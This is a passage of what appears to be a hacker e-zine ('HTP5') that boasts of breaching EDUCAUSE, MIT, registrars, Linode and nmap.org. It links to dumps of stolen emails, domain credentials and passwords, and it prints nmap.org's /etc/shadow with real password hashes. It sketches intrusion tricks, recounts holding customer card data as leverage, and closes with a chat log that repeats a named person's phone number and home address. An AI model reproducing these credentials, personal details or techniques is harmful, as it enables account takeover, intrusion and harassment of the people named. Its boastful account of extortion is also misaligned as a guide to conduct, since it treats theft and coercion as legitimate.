  380. about how its morally justifiable to deface *.edu. We frankly don't care.
  381.  
  382. By the end of today (5/6), EDU operation should return to normal.
  383.  
  384. Moreover, we particularly enjoyed the fact that the first nameserver for
  385. root-servers.org is an EDU domain. This effectively gave us control over
  386. root-servers.org. However, ICANN is responsible for the root zones file.
  387.  
  388. ICANN was already compromised by that time, though, joined by several of the
  389. major RIR's (RIPE, LACNIC, etc.) along with bgp+shell access and 13,000+
  390. backbone AS's (some of which persists to this day) & the InterNIC. Surprisingly,
  391. they used passwordless private keys stored on their servers to ssh into the
  392. internal Juniper routers as superusers: only 3 networks away and not even phys
  393. sep. Nothing proxychains can't handle. They probably should've checked their
  394. netscreens before it was too late. :P
  395.  
  396. None of this access was ever used, but we did get to see some pretty funny
  397. shit. In the backbone of SourceForge (Savvis), for example, we ran into some
  398. old SunOS Sparc boxes with 1900+ day uptime. They had passwordless private key
  399. auth, and the kernels were fairly ancient (and in the absence of all file
  400. transfer utils, `whois` coupled with a few pipes worked great to transfer tgz's
  401. served from port 43 - no file editing required). As it turns out, we were not
  402. the first ones there. On their Phoenix, AZ stats server, some random hacker was
  403. kicking back in /var/tmp/.access_logx/ with a psyBNC connected to Undernet. On
  404. SourceForge's backbone -- LOL? We don't think he fully realized what he had
  405. breached. Or maybe he just really needed a psyBNC server. Either way, he'll
  406. probably have to end up getting a new psyBNC after today. On Github or
  407. something.
  408.  
  409. Enjoy the MIT emails/EDUCAUSE login data, included in this segment of
  410. HTP5:
  411.  
  412. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  413. ~ http://mirror.hack-the-planet.tv/HTP-5/MIT-EDUCAUSE/mit.zip
  414. |- 2.6GB | Zip compressed MIT emails
  415. ~ http://mirror.hack-the-planet.tv/HTP-5/MIT-EDUCAUSE/EDUDOMAINS.rpt
  416. |- 28MB | EDUCAUSE database: extracted domain credentials
  417. ~ http://mirror.hack-the-planet.tv/HTP-5/MIT-EDUCAUSE/EDUCAUSE-MISCDBS.zip
  418. |- 12MB | EDUCAUSE misc. databases extracted from 6.4GB MSSQL tape backup
  419. ~ http://mirror.hack-the-planet.tv/HTP-5/MIT-EDUCAUSE/eduhashindex.txt
  420. |- 143K | EDUCAUSE domain passwords, allow account/DNS modification.
  421. | | For use with /HTP-5/MIT-EDUCAUSE/EDUDOMAINS.rpt
  422. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  423.  
  424.  
  425. ▄▄ ▀▄▄▒▒▒▒▒▒▒▒▒▒▒▒▒░ ░▒▒▒▒▒▒▒▒▒░░ ▒▒▒▒▒▒▒▒▒▒▒▒░ ▒▒▒▒▒▒▒▒▒▒░ ░░░░░ ░░ ░ ░░
  426. ▒▒█▄▄ ▀▀▄▄ ░ ▒▒▒▒▒▒░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒▒▒▒▒▒ ░░░░░░░░░░░ ░░░░ ░░░░
  427. ▓▒▒▒▒██▄▄ ▀▄▄ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ░░░░░░░░ ░░░░░░░░░░ ░
  428. ▓▓███▓▓▒███▄░▀▄▄ ▒▒▒▒▒▒▒▒▒▒▒▒ ░░░░░░ ░░░░░▄▄▄▄▀▀
  429. ▓▓█████████▓▒▄▄ ▀▀▀▄▄▄▒▒▒▒ ░░░░░░ ░ ░░░▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀▀░▒▒▒▓
  430. ▒▒▓▓██████████▓▓▓▒▄▄ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄▄▄▄▄▀▀▀▀▀▀▀ ▒▒▒▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▓▓▓█████
  431. ▒▒▒▓▓█████████▓▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▒▒▒▄▄▄▄▄▄▄▄▄▀▀▀▀▀▀▀▀▀▀▀▀▒▒▒▒▒▒▒▒░░░▒███▓▓████
  432. ▒▒▒▓██████████▒░░░░░░▒▒▒▒▒█████████████▓ ▒▒▒▒▒▒▒░░░ ░░░░░░░▒▒▓▓▓▓▓▓▒▒░░▒███▓████
  433. ▒▒▒▓▓█▓▒▒▒▀▀▀▀▀▀▄▄▄▄▄▄▄▄▒████████████████▒▀▀▀▀▀▄▄▄▄▀▀▀▀▀▀▒▓███████▒░▓██▒░▒█▓▓███
  434. ▒▒▒▓████████▓▒░░░░░░░██▒█████████████████▓░▒▒▒▒▒▒▒▒▒▒▒▒░▓████████▒ ▓███▒░░▒███▓
  435. ▒▒░▒██▒▓██████ ░░░░░░▓██████████████████▒░▒░░░░░░░░▒░▒████████ ▒████▓░░▓▓▓▓▒
  436. ░▒░░▓█░░▒▒▓██▓ ░░░░ ░███████████████████▒░ ▄ ▄▄ ▄░░███████▓ ░ ▓██████▓░▓▒▒▒░
  437. ░░░░▒█░░░░▒▓▓░░ ░░ ▒██████████████████▒▀▀▀▀▀░░▀▀▀▀▄██████▒ ░ ▓███████▒ ▓░
  438. ░ ░█▒ ░░▒▒░░ ░░░▒█████████████▓▓█▒▀░░░░░░░░░░░▀▒████▓ ▓██████▓░░ ▓
  439. ░░ █▒ ▒▒ ░░░░▓█████████▒▒▒░░░░░░░░ ░░░░░░░▒███▒▒▒███████▓ ░ ▓
  440. ░░░ ▓▒ ▒ ░▒ ░░ ░░▀▀▓▓▓▓▒░░░░░░░░░░ ░░ ░░░ ▒▓▓▓▓▓███▓▒▒ ░░ ▓
  441. ░ ▓▒ ▒▒ ▒▒░ ░░░░░░░░░░░░░░░░░ ░░ ░ ▒▓
  442. ░ ░░▓ ░░ ░▒░░ ░░ ░░░░░░ ░░░ ░░░░░ ░ ░▒ ▒
  443. ░░ ▓ ░░▒▒░░ ░░ ░░░░░ ░░░░ ░▒ ▓
  444. ░▓ ░▒▒░░ ░░░ ░░ ░░░ ░░ ░ ▒ ▒░
  445. ▓▒ ░░▒▒░░░ ░░░░░░░ ▀▀▀▄▒▒░░░░▒▄▀▀ ░ ▒ ▒
  446. ▒▓░░░░░░▒▒▒░░░░ ░░░░░░░ ░░░▒▒▓▒▒▒▒▓▓▓▓▓▒░░ ░▒ ▓
  447. ▒▓ ░░ ░▒▒░░░░░ ░░░▒▒▒▒▒▒▒▓▓█▓▒▒▒▒▒▒▒▒▒▓█▓▓▓▒░ ░▒ █░
  448. ▓░ ░▒▓▒░░░░░ ░░░▒▒▓▓▒▒▒▒▒▒▒░░ ░ ░░░▒▒▒██▒░ ░░▒░▒▒
  449. ▒▓ ░▒▓▓▒▒░░░░ ░░▒▒▒▒▒░░░░ ░░░░░░░░░ ░░ ░▒▓█▒ ░▒▒░▓
  450. ▒▓ ░ ▒▒▒▒▒░░░ ░░▒▒▒▒▒░░░░░░░░░▒▒▒▒▒▒░░░░░░░▒▒▒▒ ░▒▒▒▒▒
  451. ▒▒ ░ ▒▒▒░░░░ ░░▒▒░░░░▄▄▄▄▀▀▀▀▀▓▓█▀▀▀▄▄▄▄▒▓░░▒░ ░░▒▒░▒
  452. ▒▓ ░ ▒▒▒▒▒▒░░ ░▒▒░░░░ ░░░░ ░ ░░░ ░▒▒ ░░▒▒░ ▒
  453. ▒▒ ░ ▒▒▒▓▒▒░░ ░▒░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░ ░░░░▒▒▒▒▒▒░░ ▒
  454. ▓▒░▒░░ ░▒▒▓▓▒▒░░ ░▒░░░░░░░░░▒░▒▒▒▒▒▒▒▒░░░░░░░▒▒▓██▓▒ ░▒
  455. ░▒▓▓▒▒▒▒▒ ░▒▒▓▓▓▒▒░░░░░▒▓▒░ ░░░░▒░▒▒▓▓▒▒▒▒▒░░░░▒▒▓████▒ ░▒▒░
  456. ░▒▒▒▓▓▒▒▒▓▒░ ░▒▓▓▓▓▓▒▒░░░▒▒▓▒▒▒░░░▒▒░▒▒▓▓▓▓▒▒▒▒░▒▒▒▓████▓░ ░▒▒░░
  457. ░▒▒▓▒▒▒▓▓▓▓▓▓▒ ░ ▒▒▓▓▓▓▓▒▒▒▓▓▒▓▒▒▒▒▒░▒▒▒▓▓████▓▓▓▓▓▒▓████▓▒░ ░▒▒▒░░░░░
  458. ░▒▒▓▒▒░░▒▒█▓▓▓▓▒ ░░ ░▒▒▓███▓▓▓▓▓█▓▒▒▒▒▒▒▒▓▓▓▓███▓▓████████▒▒ ░▒▒▒▒▒░░░░░░
  459. ░▒▒▒▒ ▒▒▓█▒▒▓▒░ ░ ░ ░▒▒██████████▓▓▓▒▒▓████████████████▒▒ ░ ░▒▒▒▒▒▒░ ░░░
  460. ▒▒▒▒░ ▒▒▒▒▓▒▓▓▒░ ░ ░░▒▓▓█████████▓▓▓▓███████████████▓▒░ ░▒▒▒▒▒▒░
  461. ▒▒░ ▒▒▒▒▒█▓▓▒▒ ░░▒▒▒██████████████████████████▓▒▒ ▒▒▒▒▒▒▒░░
  462. ▒ ░░░▒▒▒▓██▒▒▒ ░ ░ ░▒▒▒▓█████████████████████▓▒▒░ ░ ▒▒▒▒▒▒░░░ ░
  463. ░ ░ ░░░░▒▒▒▒▓█▒▒░░░ ░░░▒▒██████████████████▓▓▒▒░ ░ ░▒▒▒▒░░░░░ ░░
  464. ░ ░ ░░░ ▒▒▒▒▒▒▓▓▒░░ ░ ░▒▒▓███▓▓▓█████▓▓▓▓▓▒▒░ ░░▒▒▒░░░░░ ░░░░
  465. ░ ░░░░░░ ░▒▒▒▒▒▒▒▓▒ ░ ░▒▒▓▓▓▒▒▓▓▓▓▒▒▒▒▓▒▒░ ░░░▒▒▒▒░░░░ ░░░░░
  466. ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  467. "I'm positive they owned."
  468. ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
  469.  
  470. ▄▄ ▄▄ ▄▄ ▄▄ ▄▄▄▄▄ ▄▄▄▄ ▄▄▄▄
  471. ██ ██ ███▄██ ██ ██ ██ ██ ██▄▄ HTP5
  472. ██ ██ ██ ▀██ ██▄██ ██▄█▀ ██▄▄
  473. ██ ▄▄ ▄▄
  474. ▄▄▄████████▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  475.  
  476. * Before reading this section of HTP5, we recommend you pop some popcorn.
  477.  
  478. Following HTP4, we were promptly attacked by the next set of skids looking to
  479. get baked by our terabit DDoS cannon. A group impersonating ac1db1tch3z decided
  480. to take an alternative route, and located us through the development of one of
  481. our botnets, Zodiac. We quickly switched into a fallback network and found out
  482. they used SwiftIRC. SwiftIRC's nameservers were none other than Linode.
  483.  
  484. Oh by the way, actual AB, was your second backdoor in Unreal that eval() shell
  485. stored in their PHPBB MySQL database? if so -- you've finally been expunged ;)
  486. - HTP
  487.  
  488. Linode turned out to be safe from our null RDS pass 1day (before Adobe had
  489. released their critical advisory). In the meantime, their registrar (name.com)
  490. was taken out. We acquired their domain login (along with StackOverflow,
  491. DeviantArt, etc.), and prepared a transparent proxy to gather Linode logins.
  492.  
  493. Speaking of registrars, Xinnet, MelbourneIT, and Moniker - you're all owned.
  494. Back in November, we hinted at Huawei access in our Symantec release. Their
  495. registrar? Xinnet. Total domains owned: about 5.5 million total. No kidding. :P
  496.  
  497. However, right in time, our very own HTP zeroday research division manifested
  498. subzero.py: a zeroday giving us a direct route into Linode. We proceeded to
  499. breach Linode and acquire their in-memory keys. This allowed us to download
  500. Linode's databases and prepare to backdoor SwiftIRC via the LiSH console+
  501. init=/bin/bash.
  502.  
  503. Meanwhile, we enjoyed our (root) access to Nmap, Nagios, SQLite, OSTicket,
  504. Phusion Passenger (modrails), Mono Project, Prey Project, Pastie, Sucuri, Hak5,
  505. Pwnie Express, Puppet, and oauth. It got better when we found Jen Emick and
  506. xnite were customers, but that's getting into another story.
  507.  
  508. Unknown to us at the time, the FBI had successfully accessed HTP. They made
  509. their presence obvious, as everything we would get was burned within a few days.
  510. However, we merely considered it to be a leak, and waited to use Linode itself
  511. to identify the source.
  512.  
  513. Soon after, the FBI alerted Linode that Nmap was being backdoored, unknowingly
  514. identifying themselves as the source of the leaks within HTP. We still
  515. considered it a leak, and told Linode that if they did not act upon our
  516. already-gained access by 5/1, we would shred all of our Linode-related data.
  517. This included 159,000+ decrypted CCs, usernames, $5 hashed passwords, LiSH
  518. usernames, plaintext LiSH passwords, and employee logins. In the case of
  519. noncompliance, we stated that we would drop it all in our release.
  520.  
  521. This was actually quite a good offer. We made it because we didn't care about
  522. CCs to begin with (that's directed at everyone on Twitter blaming Linode for
  523. identity theft) and because our primary target was SwiftIRC, not Linode. They
  524. accepted to protect their customer data/CCs (there wasn't much choice).
  525.  
  526. The FBI got pissed off by this development and forced Linode's hand. After
  527. informing them we would follow through and shred all of our Linode data within a
  528. week, the FBI and Linode coordinated a release detailing the breach in an email
  529. to their customers. We were confused. If they just did this on 5/1, nothing
  530. would be affected? Apparently, the FBI did not trust us. We soon found out
  531. Linode's situation was not voluntary.
  532.  
  533. Linode was between a rock and a hard place. They had to comply with the FBI
  534. (immediately), but doing so would mean all 159,000+ customers would be on Full
  535. Disclosure by 5/1. Recognizing their situation, we instead told them that if
  536. they acknowledged HTP in their analysis, we'd go ahead and shred their customer
  537. data anyway. Readily enabling carders was never part of our plan. They agreed,
  538. and we proceeded to delete our copies of the data for them.
  539.  
  540. There was one more loose end to tie. We identified which users on HTP were
  541. involved with the FBI, and promptly gained access to one of their cams. Sure
  542. enough, there was a handler standing behind him, monitoring his involvement
  543. in HTP (hi!).
  544.  
  545. The FBI lost their access into HTP.
  546.  
  547. So what's in this release, if not Linode? EDIT: Hahaha we guess that was too
  548. hot, we'll give you guys registrar data instead.
  549.  
  550. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  551. ~ http://mirror.hack-the-planet.tv/HTP-5/Linode/ss1.png
  552. |- 193K | Linode blog post screenshot 1
  553. ~ http://mirror.hack-the-planet.tv/HTP-5/Linode/ss2.png
  554. |- 179K | Linode blog post screenshot 2
  555. ~ http://mirror.hack-the-planet.tv/HTP-5/Linode/registrardata.txt
  556. |- 70K | Data on the registars mentioned above.
  557. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  558.  
  559.  
  560.  
  561.  
  562. ░░░░
  563. ░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒░░░
  564. ░░░▒▒▒▒░░░░░░░░░░░░▒▒▒▒▒▒░░░
  565. ░░▒▒▒▒░░ ░░░▒▒░░▒░░
  566. ░░░░░▒░░ ░░▒▒░░░▒░
  567. ░░░░░▒░░░ ░░▒░░░░░░
  568. ░░░▒░▒░▒░░ ░▒▒░░░░▒░░
  569. ░░░░▒▒▒░▓▒░▒░ ░░▒░░░░░░▒░
  570. ░░░░░░▓█▓█▓▒░░░ ░░▒░░░░░░░░▒░
  571. ░░░░░░▒▓████▓▒▒░░ ░░░▒░░░▒▒▒▒▒░░░░░░░░▒░
  572. ░░░░░░░▒▒███▓▓░░░ ░░░░░▒▒░░░▒░▒▒▒▓▓▓▓▒░░░░░░░░▒░░░
  573. ░░░░░░▒▒░░░▓█▓▒░▒ ░░░▒░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▒░░░░░░░░░░░
  574. ░░░░░░▒▒░▒▒▒░▒▓▒░ ░░▒▒▒░▒▒▒▓▓▓▓▓▓█▓███▓▓▒░░░░░░░░░░░
  575. ░░░░░░░░░░▓▓▒▓▒░░░ ░░░▒▒▒▒▒░▒░░▒▒▒▓▓▓████▓▓░░░░░░░░▒▒░
  576. ░░░░░░░░▒░▒░░░▒▓▒░░ ░░▒░░░░░▒▒▒▒▒░░░▒▒▓▓▓███▓░░░░░░░░▒░░
  577. ░░░░░░░░░░▒▒░░▓█▓▒░ ░░▒▒▒▒░░▒▓▒▒░▒▒▒▒░░░▒░░▒▓▓▓▒░░░░░░▒░░
  578. ░░░░░░░░░░░▒░▒▒▓░░░░ ░▒▒▓▓▓▓▓▓▓▓▓█▓▒▒░░░▒▒▒▒░░░▒▒░░░░░░░▒▒░
  579. ░░░░░░░░░░░▒░░▒▒▒░░░░░░ ░░░░▓███████████████▓▓▒░▒▒▒▒▒░░▒▒░░░░▒▒░
  580. ░░░░░░░░░░░▒▒▒▒░░▒░░░░░░░░░░░▒▓▓███████████████████████▓▓▓▓▒▒░░░░░
  581. ░░░░░░░░░░░░░░░▒▒░░░░░░░░░░░░░░░░░▓████████████████████████▓▒▓▒▒▒░
  582. ░░░░░░░░░░░░░░░▒▓░▒░░░░░░░░░░░░░░░░▓██████████████████████████▓▓▒▒░
  583. ░░░░░░░░░░░░░░░░░░▓▓▒▒░░░░▒░▒░░░░░░░░▒████████████▓▒▒▓█████████▓▓▓░▒░
  584. ░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒░▒░░▒▒░░░░░░▒▒░░░░░░░▒▒▓███████▓▓▓▒▒▒▒█████████▓▓▒░▒░
  585. ░░░░░░░▓▓▓▒▒▓████████▓▒░░░░░░░▒▒▓▓▓▓░░▒░░░░░░▒▒▓▓▓▓▓▒▒░░░░░▓███████▓▓▓░░░
  586. ░░░░░░░░▒▒░░▒▓░▒███████▒░░░░░░░▒▒▓▓▓██▓░░░░░░░░░▒▓▓▒░▒░░▒░░░▒░██████▓▓▓░▒░
  587. ░░░░░░░░▒░██▓▓▓░░▓████▒░▒░░░░░░░░█▓▓▓▓▒▒▒▒▒▒▒▒▓▓▒▓▓▓▓▓▒▒░▒░░░▒▒████▓▓▒▒▒░
  588. ░░░░░░▒░▒▒█▓▓███▓░░▓█▓░▒▒▓▒▒░░░░▒█▓▓▒░▒░▒▒▒▒▒░░▒░░░▓█████▓███▓▒██▓▓▓▒▒▒░
  589. ░░░░░▒▒▓░▒▒▓▓▒▓███▒▒▓▒░░▒██▓░░░░▒██▓▒▒░░░▒▒░░░░░░░░░░▒▓██▓▓░▒▓███▒▓░░░░
  590. ░░░░▒▒░▒▓▒▒▒▓▓▒▓███▓░▒░░▒███▓▒░░░▓██▓▒▒░░░░░▒▒░░░░░░░░░▒█▓▓░▒▒▓▓▓▓░▒░
  591. ░░░▒▒▒▓▓▓▒▒▒▒░▓▓▒▓███▓▒▒▒▓███▓░░▒▒▓▓▒░▒▒░▒▒▒▓▓▓▓░▒▒▒▓▓▓▒▒▓▒░░▒░▓▓░░░
  592. ▒▒▒▓▓▓▓▓▓▒░░▒░▒▒▓░░▓██▓░▒▒▓██▓▓▒▒▓▓░░▒▒░░░▒░▓▓██▒▒▒▓███████▓░▒░▒░░░
  593. ░▒░░▒█▓▒▒▒░░▒▒▒░▒▓▒░▒▓█▓▓▒░▓█▓▓█▓▓▒▒░░░▒▒░▒▒▒░▓▓▓▓▓▓▓██▓▓▒▒▓█▒▒░▒░
  594. ▒░░▒▒░▒▓░▒▒▒░░▒▒▒▒▓▓▒▒▓██▓▒▒▒▓███▓▓░░░░▒▒▓▓▒░░▒▒███▓▓██▀▀▓▓▓█▓▒▒░
  595. ░░░░░▒▒░▒▓▒▒▒░▒░░▒▒▓▓▓▒▓█▓▓▒▒░▓███▓▓▒░░░▒▒▒▓▒▒▓▓████████████▓▒▒░
  596. ░▒▒░░░░▒▒▒▒▒░▒░░▒░░▓▓▓▓▓▓█▓▓▒░▒▒██▓██▓▒░░░░░░░▒░▒▒▒▓▓▓█████▓▒▒░
  597. ▒▒▒▒▒▒░░░▒░▒▒▒▒░░▒▒▓▓▓▓▓▓████▒▒▒▒▓█████▓▒▒▒▒▒░░░▒░░▒▒▒▓████▒▒░░
  598. ░▓▒▓▒▒▒▒░░░▒▒░▒▒░▒▓▓▓▓▓▓▓▓████▓▒░▓▓██▓█████▓▓▓▓▒▒▒▓▓▓▓███▓▒▒░░
  599. ░▒▓▓▓▒▒▒▒▒▒▒░▒░▒▒▒▒▓▓▒░▓▓▒▓████▓░▒▓▓█████████████████████▓░░░░
  600. ▒░▓░▓▒▒▒▒▒▒░▒░░▒▒▒▓▓▓▓▓░▒▒░▒▓███▓░░▒███████████████████▓░▒░▒░░
  601. ▒▓▓▒▓░▒▒▒▒▒▒▒▒▒░░░░▒▓▓▓▓▓▓▓░▒▒▓██▒▒░▓██████████████████▒▒░▒░░░░
  602. ▒█▓▓▒▒▒▒▒▒▒▒░▒▒░░▒▒░▒▓▓▓▓▓█▓▒▒▒▓██░▒▓▓████████████████▓▓▒░▒▒▒░░
  603. ░▓░░▒░░▒▒▒▒▒▒▒▒░▒▒░▒▒▓▓▓▓████▓▓▓██▓░▓▓▓███████████████▓▓▓░▒░░▒░░
  604. ░░▒▒▒░▒░▒▒▒▒▒░▒▒░▒░░▒░▒▓▒▒████▓████▒░█▓███████████████▓▓█▒▒░░░░░░░
  605. ░░░░░░▒▒░░░▒▒▒▓▒▒▒▓░▒▒▒▓▓▓█▓▓▓██████░█▓▓██████████████▓██▓▒░░░░░▒░░
  606. ░░░░░░▒▒▒▒▒░░▒▒▒░▒▒▒▒░▒▓▓▓▓██▓▓▓▓███▒▓█▓██████████████▒██▓▒▒░▒░▒░▒░░
  607. ░░░░░░░░░░░░░░░░░░░░▒▒░░░░▒░░░▒░░▒▒▒▒▓▒▓▓▓██▓▓▓▓▓██▓█▓░▒▒░▒▒░░░░░▒▒░░
  608. ░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒░▒░▒▒░▒▒▒▒░░▒▒▒▒░░░░░▒▒░▒▒▓░░░▒▒░░
  609. ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒░▒▒▒░░░░░░░░░▒▒░░
  610. ░░░░░░░░░░
  611. "You have to let it all go. Fear, doubt, and disbelief."
  612. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  613. ▄▄ ▄▄ ▄▄ ▄▄ ▄▄▄▄▄ ▄▄▄▄
  614. ███▄ ██ ██▀▄▀██ ██ ██ ██ ██ HTP5
  615. ██ ▀█▄██ ██ ▀ ██ ██▀██ ██▀▀
  616. ██ ▀██ ██ ██ ██ ██ ██ Whoa. Did we just backdoor Trinity?
  617. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  618.  
  619. Access to nmap.org (Insecure) was gained through Linode, which also included
  620. svn.nmap.org and Seclists. Based on our approximations, the FBI went into holy-
  621. shit mode beginning when we were backdooring it. We decided to withhold the
  622. private releases, including DARPA CINDER Nmap, and release to you the unabridged
  623. contents of the /home/ directory including those of Fyodor (Gordon Lyon) and
  624. David Fifield. Before we drop you into nmap.com, though, here's their
  625. /etc/shadow for those curious:
  626.  
  627. [root@web etc]# cat shadow
  628. root:$1$9e0033fd$9M4AIYi9o1.wcm07WGUTZ0:14746:0:99999:7:::
  629. bin:*:14746:0:99999:7:::
  630. daemon:*:14746:0:99999:7:::
  631. adm:*:14746:0:99999:7:::
  632. lp:*:14746:0:99999:7:::
  633. sync:*:14746:0:99999:7:::
  634. shutdown:*:14746:0:99999:7:::
  635. halt:*:14746:0:99999:7:::
  636. mail:*:14746:0:99999:7:::
  637. news:*:14746:0:99999:7:::
  638. uucp:*:14746:0:99999:7:::
  639. operator:*:14746:0:99999:7:::
  640. games:*:14746:0:99999:7:::
  641. gopher:*:14746:0:99999:7:::
  642. ftp:*:14746:0:99999:7:::
  643. nobody:*:14746:0:99999:7:::
  644. vcsa:!!:14746:0:99999:7:::
  645. ntp:!!:14746::::::
  646. sshd:!!:14746::::::
  647. fyodor:$1$71vbn0Qa$34cy/K1mp8ag4C7I3eXqS/:14782:0:99999:7:::
  648. david:$1$cVie3LDG$WOrypVpCcBl.UyA8TKRX20:14783:0:99999:7:::
  649. xfs:!!:14782::::::
  650. apache:!!:14782::::::
  651. web:!!:14782:0:99999:7:::
  652. postfix:!!:14782::::::
  653. webalizer:!!:14783::::::
  654. mysql:!!:14896::::::
  655. postgres:!!:14897::::::
  656. distcache:!!:14924::::::
  657. pcap:!!:15615::::::
  658. mailman:!!:15666::::::
  659.  
  660. Yep, those are $1. We'll give them the benefit of the doubt: Linode used AES.
  661. By the way, Fyodor, thanks for amis-6.01.DARPA1.tar.gz. We'll be sure to give it
  662. a spin.
  663.  
  664. AMIS - Adversary Mission Identification System
  665. ==============================================
  666. The Adversary Mission Identification System (AMIS) is a computer program
  667. that analyzes logs of network scans and reports possible signs of an
  668. adversary mission.
  669. The AMIS is designed to work with the logs produced by the Nmap Security
  670. Scanner. It is part of an overall defensive system that includes
  671. periodic scans and their analysis.
  672. The AMIS checks for these "tells" that may be signs of an insider
  673. mission:
  674. * Newly opened ports, particularly those of file servers (e.g. HTTP,
  675. FTP, and P2P services).
  676. * Differences in files shared by known file servers, including new
  677. files, deleted files, and changes in file metadata.
  678. * Security vulnerabilities in servers.
  679.  
  680. Enjoy this section of HTP5.
  681.  
  682. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  683. ~ http://mirror.hack-the-planet.tv/HTP-5/Nmap/home.tgz
  684. |- 16GB | Nmap.org: /home/
  685. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  686.  
  687.  
  688.  
  689. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  690.  
  691. <~REDACTED_1> lol
  692. <~REDACTED_1> i got a dmca from cloudflare
  693. <INFO> REDACTED_2 [REDACTED_2@HTP/user/REDACTED_2] has quit [Client exited]
  694. <~REDACTED_3> dmca?
  695. <~REDACTED_3> whats copyrighted
  696. <~REDACTED_1> Reporter's Name: Gordon Lyon
  697. <~REDACTED_1> Reporter's Email Address: gordon@insecure.com
  698. <~REDACTED_1> Reporter's Title: CTO
  699. <~REDACTED_1> Reporter's Company Name: Insecure.Com LLC
  700. <~REDACTED_1> Reporter's Telephone Number: 650-989-4206
  701. <~REDACTED_1> Reporter's Address: 370 Altair Way #113 Sunnyvale, CA US
  702. <~REDACTED_1> Reported URLs:
  703. <~REDACTED_1> http://straylig.ht/zines/htp5/0x03_nmap.txt
  704. <~REDACTED_1> Original Work: They released 16GB of our copyrighted data
  705. which they stole. I don't know if copyright applies to our password file,
  706. which they stole and released on this page, but it certainly applies to our
  707. Adversary Mission Identification System described on the page.
  708. <INFO> REDACTED_2 [REDACTED_2@HTP/user/REDACTED_2] has joined #thegibson
  709. <INFO> mode/#thegibson [+a REDACTED_2] by chippy1337
  710. <~REDACTED_3> well
  711. <~REDACTED_3> that would fit the bill
  712. <~REDACTED_3> lets call him up
  713. <~REDACTED_3> and take this
  714. <~REDACTED_3> to internet court
  715. <~REDACTED_3> im seriously considering
  716. <~REDACTED_3> printing this out
  717. <~REDACTED_3> and framing it on my wall
  718. <~REDACTED_3> cuz im lolin so hard
  719. <~REDACTED_3> 'sorry, there is a minimum requirement of 20GB before DCMAs are
  720. considered admissable in Internet Court'
  721. <&REDACTED_4> "What's that? You say there's a hostage situation in your
  722. apartment?! We'll call the police right away, sir."
  723.  
